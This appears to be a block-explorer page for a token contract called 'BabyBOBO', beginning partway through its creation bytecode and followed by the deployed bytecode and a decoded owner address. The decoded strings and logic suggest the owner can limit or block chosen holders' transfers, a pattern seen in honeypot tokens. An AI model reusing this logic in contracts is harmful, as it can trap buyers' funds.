cf590611c2a565b8015610d405780601f10610d1757610100808354040283529160200191610d40565b820191905f5260205f20905b815481529060010190602001808311610d2357829003601f168201915b5050505050905090565b5f8060015f610d5761100b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610e11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0890611f3c565b60405180910390fd5b610e25610e1c61100b565b85858403611012565b600191505092915050565b5f610e43610e3c61100b565b84846111d5565b6001905092915050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610f1d61100b565b73ffffffffffffffffffffffffffffffffffffffff16610f3b610b7b565b73ffffffffffffffffffffffffffffffffffffffff1614610f91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8890611db8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff690611fca565b60405180910390fd5b611008816113c9565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611080576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107790612058565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e5906120e6565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111c89190611a67565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90612174565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a890612202565b60405180910390fd5b60095f9054906101000a900460ff1680611311575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611362575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6113a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113989061226a565b60405180910390fd5b5f81036113b8576113b383835f61148c565b6113c4565b6113c383838361148c565b5b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f1906122f8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155f90612386565b60405180910390fd5b611573838383611701565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156115f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ed90612414565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546116849190611d15565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e89190611a67565b60405180910390a36116fb8484846118a2565b50505050565b61170c8383836118a7565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177457505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117c6575060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561189d575f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541161184a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611841906124a2565b60405180910390fd5b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190611897906124c0565b91905055505b505050565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156118e35780820151818401526020810190506118c8565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611908826118ac565b61191281856118b6565b93506119228185602086016118c6565b61192b816118ee565b840191505092915050565b5f6020820190508181035f83015261194e81846118fe565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6119838261195a565b9050919050565b61199381611979565b811461199d575f80fd5b50565b5f813590506119ae8161198a565b92915050565b5f819050919050565b6119c6816119b4565b81146119d0575f80fd5b50565b5f813590506119e1816119bd565b92915050565b5f80604083850312156119fd576119fc611956565b5b5f611a0a858286016119a0565b9250506020611a1b858286016119d3565b9150509250929050565b5f8115159050919050565b611a3981611a25565b82525050565b5f602082019050611a525f830184611a30565b92915050565b611a61816119b4565b82525050565b5f602082019050611a7a5f830184611a58565b92915050565b5f805f60608486031215611a9757611a96611956565b5b5f611aa4868287016119a0565b9350506020611ab5868287016119a0565b9250506040611ac6868287016119d3565b9150509250925092565b5f60ff82169050919050565b611ae581611ad0565b82525050565b5f602082019050611afe5f830184611adc565b92915050565b5f60208284031215611b1957611b18611956565b5b5f611b26848285016119a0565b91505092915050565b611b3881611a25565b8114611b42575f80fd5b50565b5f81359050611b5381611b2f565b92915050565b5f8060408385031215611b6f57611b6e611956565b5b5f611b7c858286016119a0565b9250506020611b8d85828601611b45565b9150509250929050565b611ba081611979565b82525050565b5f602082019050611bb95f830184611b97565b92915050565b5f8060408385031215611bd557611bd4611956565b5b5f611be2858286016119a0565b9250506020611bf3858286016119a0565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611c4157607f821691505b602082108103611c5457611c53611bfd565b5b50919050565b7f45524332303a2042616279424f424f7472616e7366657220616d6f756e7420655f8201527f78636565647320616c6c6f77616e636500000000000000000000000000000000602082015250565b5f611cb46030836118b6565b9150611cbf82611c5a565b604082019050919050565b5f6020820190508181035f830152611ce181611ca8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611d1f826119b4565b9150611d2a836119b4565b9250828201905080821115611d4257611d41611ce8565b5b92915050565b7f42616279424f424f4f776e61626c653a2063616c6c6572206973206e6f7420745f8201527f6865206f776e6572000000000000000000000000000000000000000000000000602082015250565b5f611da26028836118b6565b9150611dad82611d48565b604082019050919050565b5f6020820190508181035f830152611dcf81611d96565b9050919050565b7f4163636f756e7420697320616c72656164792042616279424f424f74686520765f8201527f616c7565206f6620276578636c75646564270000000000000000000000000000602082015250565b5f611e306032836118b6565b9150611e3b82611dd6565b604082019050919050565b5f6020820190508181035f830152611e5d81611e24565b9050919050565b7f54726164696e6720616c726561647920656e61626c65642e00000000000000005f82015250565b5f611e986018836118b6565b9150611ea382611e64565b602082019050919050565b5f6020820190508181035f830152611ec581611e8c565b9050919050565b7f45524332303a2042616279424f424f64656372656173656420616c6c6f77616e5f8201527f63652062656c6f77207a65726f00000000000000000000000000000000000000602082015250565b5f611f26602d836118b6565b9150611f3182611ecc565b604082019050919050565b5f6020820190508181035f830152611f5381611f1a565b9050919050565b7f4f776e61626c653a206e6577206f776e65722069732042616279424f424f74685f8201527f65207a65726f2061646472657373000000000000000000000000000000000000602082015250565b5f611fb4602e836118b6565b9150611fbf82611f5a565b604082019050919050565b5f6020820190508181035f830152611fe181611fa8565b9050919050565b7f45524332303a42616279424f424f20617070726f76652066726f6d20746865205f8201527f7a65726f20616464726573730000000000000000000000000000000000000000602082015250565b5f612042602c836118b6565b915061204d82611fe8565b604082019050919050565b5f6020820190508181035f83015261206f81612036565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6120d06022836118b6565b91506120db82612076565b604082019050919050565b5f6020820190508181035f8301526120fd816120c4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61215e6025836118b6565b915061216982612104565b604082019050919050565b5f6020820190508181035f83015261218b81612152565b9050919050565b7f45524332303a207472616e736665722042616279424f424f20746f20746865205f8201527f7a65726f20616464726573730000000000000000000000000000000000000000602082015250565b5f6121ec602c836118b6565b91506121f782612192565b604082019050919050565b5f6020820190508181035f830152612219816121e0565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642100000000000000005f82015250565b5f6122546018836118b6565b915061225f82612220565b602082019050919050565b5f6020820190508181035f83015261228181612248565b9050919050565b7f42616279424f424f45524332303a207472616e736665722066726f6d207468655f8201527f207a65726f206164647265737300000000000000000000000000000000000000602082015250565b5f6122e2602d836118b6565b91506122ed82612288565b604082019050919050565b5f6020820190508181035f83015261230f816122d6565b9050919050565b7f42616279424f424f3a207472616e7366657220746f20746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6123706026836118b6565b915061237b82612316565b604082019050919050565b5f6020820190508181035f83015261239d81612364565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320425f8201527f616279424f424f62616c616e6365000000000000000000000000000000000000602082015250565b5f6123fe602e836118b6565b9150612409826123a4565b604082019050919050565b5f6020820190508181035f83015261242b816123f2565b9050919050565b7f4e6f207472616e736665722042616279424f424f207269676874732072656d615f8201527f696e696e67000000000000000000000000000000000000000000000000000000602082015250565b5f61248c6025836118b6565b915061249782612432565b604082019050919050565b5f6020820190508181035f8301526124b981612480565b9050919050565b5f6124ca826119b4565b91505f82036124dc576124db611ce8565b5b60018203905091905056fea264697066735822122097ef8f024399e82cea875a1534ee3fb6389529206f40a3858699bd2ec3a5186864736f6c6343000814003300000000000000000000000054a8a4a5e24e1c2c5d3a7a946b0e236f7f957a32

Deployed Bytecode

0x60806040526004361061012d575f3560e01c8063715018a6116100aa57806395d89b411161006e57806395d89b41146103ee578063a457c2d714610418578063a9059cbb14610454578063b7e04c1114610490578063dd62ed3e146104cc578063f2fde38b1461050857610134565b8063715018a61461033457806375d5e02c1461034a5780638a8c523c146103865780638da5cb5b1461039c5780639001886d146103c657610134565b80633520a3b4116100f15780633520a3b41461022e578063395093511461026a578063484d993f146102a65780634ada218b146102ce57806370a08231146102f857610134565b806306fdde0314610138578063095ea7b31461016257806318160ddd1461019e57806323b872dd146101c8578063313ce5671461020457610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c610530565b6040516101599190611936565b60405180910390f35b34801561016d575f80fd5b50610188600480360381019061018391906119e7565b6105c0565b6040516101959190611a3f565b60405180910390f35b3480156101a9575f80fd5b506101b26105dd565b6040516101bf9190611a67565b60405180910390f35b3480156101d3575f80fd5b506101ee60048036038101906101e99190611a80565b6105e6565b6040516101fb9190611a3f565b60405180910390f35b34801561020f575f80fd5b50610218610700565b6040516102259190611aeb565b60405180910390f35b348015610239575f80fd5b50610254600480360381019061024f9190611b04565b610708565b6040516102619190611a3f565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b91906119e7565b61075a565b60405161029d9190611a3f565b60405180910390f35b3480156102b1575f80fd5b506102cc60048036038101906102c79190611b59565b610801565b005b3480156102d9575f80fd5b506102e2610964565b6040516102ef9190611a3f565b60405180910390f35b348015610303575f80fd5b5061031e60048036038101906103199190611b04565b610976565b60405161032b9190611a67565b60405180910390f35b34801561033f575f80fd5b506103486109bb565b005b348015610355575f80fd5b50610370600480360381019061036b9190611b04565b610a42565b60405161037d9190611a3f565b60405180910390f35b348015610391575f80fd5b5061039a610a94565b005b3480156103a7575f80fd5b506103b0610b7b565b6040516103bd9190611ba6565b60405180910390f35b3480156103d1575f80fd5b506103ec60048036038101906103e791906119e7565b610ba3565b005b3480156103f9575f80fd5b50610402610cba565b60405161040f9190611936565b60405180910390f35b348015610423575f80fd5b5061043e600480360381019061043991906119e7565b610d4a565b60405161044b9190611a3f565b60405180910390f35b34801561045f575f80fd5b5061047a600480360381019061047591906119e7565b610e30565b6040516104879190611a3f565b60405180910390f35b34801561049b575f80fd5b506104b660048036038101906104b19190611b04565b610e4d565b6040516104c39190611a67565b60405180910390f35b3480156104d7575f80fd5b506104f260048036038101906104ed9190611bbf565b610e93565b6040516104ff9190611a67565b60405180910390f35b348015610513575f80fd5b5061052e60048036038101906105299190611b04565b610f15565b005b60606002805461053f90611c2a565b80601f016020809104026020016040519081016040528092919081815260200182805461056b90611c2a565b80156105b65780601f1061058d576101008083540402835291602001916105b6565b820191905f5260205f20905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b5f6105d36105cc61100b565b8484611012565b6001905092915050565b5f600454905090565b5f8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61062e61100b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146106e957828110156106d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cb90611cca565b60405180910390fd5b6106e8856106e061100b565b858403611012565b5b6106f48585856111d5565b60019150509392505050565b5f6012905090565b5f60085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f6107f761076661100b565b848460015f61077361100b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107f29190611d15565b611012565b6001905092915050565b61080961100b565b73ffffffffffffffffffffffffffffffffffffffff16610827610b7b565b73ffffffffffffffffffffffffffffffffffffffff161461087d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087490611db8565b60405180910390fd5b80151560065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615150361090c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090390611e46565b60405180910390fd5b8060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b60095f9054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109c361100b565b73ffffffffffffffffffffffffffffffffffffffff166109e1610b7b565b73ffffffffffffffffffffffffffffffffffffffff1614610a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2e90611db8565b60405180910390fd5b610a405f6113c9565b565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610a9c61100b565b73ffffffffffffffffffffffffffffffffffffffff16610aba610b7b565b73ffffffffffffffffffffffffffffffffffffffff1614610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0790611db8565b60405180910390fd5b60095f9054906101000a900460ff1615610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690611eae565b60405180910390fd5b600160095f6101000a81548160ff021916908315150217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610bab61100b565b73ffffffffffffffffffffffffffffffffffffffff16610bc9610b7b565b73ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1690611db8565b60405180910390fd5b8060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b606060038054610cc990611c2a565b80601f0160208091040260200160405190810160405280929190818152602001828054610cf590611c2a565b8015610d405780601f10610d1757610100808354040283529160200191610d40565b820191905f5260205f20905b815481529060010190602001808311610d2357829003601f168201915b5050505050905090565b5f8060015f610d5761100b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610e11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0890611f3c565b60405180910390fd5b610e25610e1c61100b565b85858403611012565b600191505092915050565b5f610e43610e3c61100b565b84846111d5565b6001905092915050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610f1d61100b565b73ffffffffffffffffffffffffffffffffffffffff16610f3b610b7b565b73ffffffffffffffffffffffffffffffffffffffff1614610f91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8890611db8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff690611fca565b60405180910390fd5b611008816113c9565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611080576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107790612058565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e5906120e6565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111c89190611a67565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90612174565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a890612202565b60405180910390fd5b60095f9054906101000a900460ff1680611311575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611362575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6113a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113989061226a565b60405180910390fd5b5f81036113b8576113b383835f61148c565b6113c4565b6113c383838361148c565b5b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f1906122f8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155f90612386565b60405180910390fd5b611573838383611701565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156115f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ed90612414565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546116849190611d15565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e89190611a67565b60405180910390a36116fb8484846118a2565b50505050565b61170c8383836118a7565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177457505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117c6575060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561189d575f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541161184a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611841906124a2565b60405180910390fd5b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190611897906124c0565b91905055505b505050565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156118e35780820151818401526020810190506118c8565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611908826118ac565b61191281856118b6565b93506119228185602086016118c6565b61192b816118ee565b840191505092915050565b5f6020820190508181035f83015261194e81846118fe565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6119838261195a565b9050919050565b61199381611979565b811461199d575f80fd5b50565b5f813590506119ae8161198a565b92915050565b5f819050919050565b6119c6816119b4565b81146119d0575f80fd5b50565b5f813590506119e1816119bd565b92915050565b5f80604083850312156119fd576119fc611956565b5b5f611a0a858286016119a0565b9250506020611a1b858286016119d3565b9150509250929050565b5f8115159050919050565b611a3981611a25565b82525050565b5f602082019050611a525f830184611a30565b92915050565b611a61816119b4565b82525050565b5f602082019050611a7a5f830184611a58565b92915050565b5f805f60608486031215611a9757611a96611956565b5b5f611aa4868287016119a0565b9350506020611ab5868287016119a0565b9250506040611ac6868287016119d3565b9150509250925092565b5f60ff82169050919050565b611ae581611ad0565b82525050565b5f602082019050611afe5f830184611adc565b92915050565b5f60208284031215611b1957611b18611956565b5b5f611b26848285016119a0565b91505092915050565b611b3881611a25565b8114611b42575f80fd5b50565b5f81359050611b5381611b2f565b92915050565b5f8060408385031215611b6f57611b6e611956565b5b5f611b7c858286016119a0565b9250506020611b8d85828601611b45565b9150509250929050565b611ba081611979565b82525050565b5f602082019050611bb95f830184611b97565b92915050565b5f8060408385031215611bd557611bd4611956565b5b5f611be2858286016119a0565b9250506020611bf3858286016119a0565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611c4157607f821691505b602082108103611c5457611c53611bfd565b5b50919050565b7f45524332303a2042616279424f424f7472616e7366657220616d6f756e7420655f8201527f78636565647320616c6c6f77616e636500000000000000000000000000000000602082015250565b5f611cb46030836118b6565b9150611cbf82611c5a565b604082019050919050565b5f6020820190508181035f830152611ce181611ca8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611d1f826119b4565b9150611d2a836119b4565b9250828201905080821115611d4257611d41611ce8565b5b92915050565b7f42616279424f424f4f776e61626c653a2063616c6c6572206973206e6f7420745f8201527f6865206f776e6572000000000000000000000000000000000000000000000000602082015250565b5f611da26028836118b6565b9150611dad82611d48565b604082019050919050565b5f6020820190508181035f830152611dcf81611d96565b9050919050565b7f4163636f756e7420697320616c72656164792042616279424f424f74686520765f8201527f616c7565206f6620276578636c75646564270000000000000000000000000000602082015250565b5f611e306032836118b6565b9150611e3b82611dd6565b604082019050919050565b5f6020820190508181035f830152611e5d81611e24565b9050919050565b7f54726164696e6720616c726561647920656e61626c65642e00000000000000005f82015250565b5f611e986018836118b6565b9150611ea382611e64565b602082019050919050565b5f6020820190508181035f830152611ec581611e8c565b9050919050565b7f45524332303a2042616279424f424f64656372656173656420616c6c6f77616e5f8201527f63652062656c6f77207a65726f00000000000000000000000000000000000000602082015250565b5f611f26602d836118b6565b9150611f3182611ecc565b604082019050919050565b5f6020820190508181035f830152611f5381611f1a565b9050919050565b7f4f776e61626c653a206e6577206f776e65722069732042616279424f424f74685f8201527f65207a65726f2061646472657373000000000000000000000000000000000000602082015250565b5f611fb4602e836118b6565b9150611fbf82611f5a565b604082019050919050565b5f6020820190508181035f830152611fe181611fa8565b9050919050565b7f45524332303a42616279424f424f20617070726f76652066726f6d20746865205f8201527f7a65726f20616464726573730000000000000000000000000000000000000000602082015250565b5f612042602c836118b6565b915061204d82611fe8565b604082019050919050565b5f6020820190508181035f83015261206f81612036565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6120d06022836118b6565b91506120db82612076565b604082019050919050565b5f6020820190508181035f8301526120fd816120c4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61215e6025836118b6565b915061216982612104565b604082019050919050565b5f6020820190508181035f83015261218b81612152565b9050919050565b7f45524332303a207472616e736665722042616279424f424f20746f20746865205f8201527f7a65726f20616464726573730000000000000000000000000000000000000000602082015250565b5f6121ec602c836118b6565b91506121f782612192565b604082019050919050565b5f6020820190508181035f830152612219816121e0565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642100000000000000005f82015250565b5f6122546018836118b6565b915061225f82612220565b602082019050919050565b5f6020820190508181035f83015261228181612248565b9050919050565b7f42616279424f424f45524332303a207472616e736665722066726f6d207468655f8201527f207a65726f206164647265737300000000000000000000000000000000000000602082015250565b5f6122e2602d836118b6565b91506122ed82612288565b604082019050919050565b5f6020820190508181035f83015261230f816122d6565b9050919050565b7f42616279424f424f3a207472616e7366657220746f20746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6123706026836118b6565b915061237b82612316565b604082019050919050565b5f6020820190508181035f83015261239d81612364565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320425f8201527f616279424f424f62616c616e6365000000000000000000000000000000000000602082015250565b5f6123fe602e836118b6565b9150612409826123a4565b604082019050919050565b5f6020820190508181035f83015261242b816123f2565b9050919050565b7f4e6f207472616e736665722042616279424f424f207269676874732072656d615f8201527f696e696e67000000000000000000000000000000000000000000000000000000602082015250565b5f61248c6025836118b6565b915061249782612432565b604082019050919050565b5f6020820190508181035f8301526124b981612480565b9050919050565b5f6124ca826119b4565b91505f82036124dc576124db611ce8565b5b60018203905091905056fea264697066735822122097ef8f024399e82cea875a1534ee3fb6389529206f40a3858699bd2ec3a5186864736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000054a8a4a5e24e1c2c5d3a7a946b0e236f7f957a32

-----Decoded View---------------
Arg [0] : owner (address): 0x54a8A4A5e24E1c2c5D3A7a946b0E236F7F957a32

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000054a8a4a5e24e1c2c5d3a7a946b0e236f7f957a32


Deployed Bytecode Sourcemap

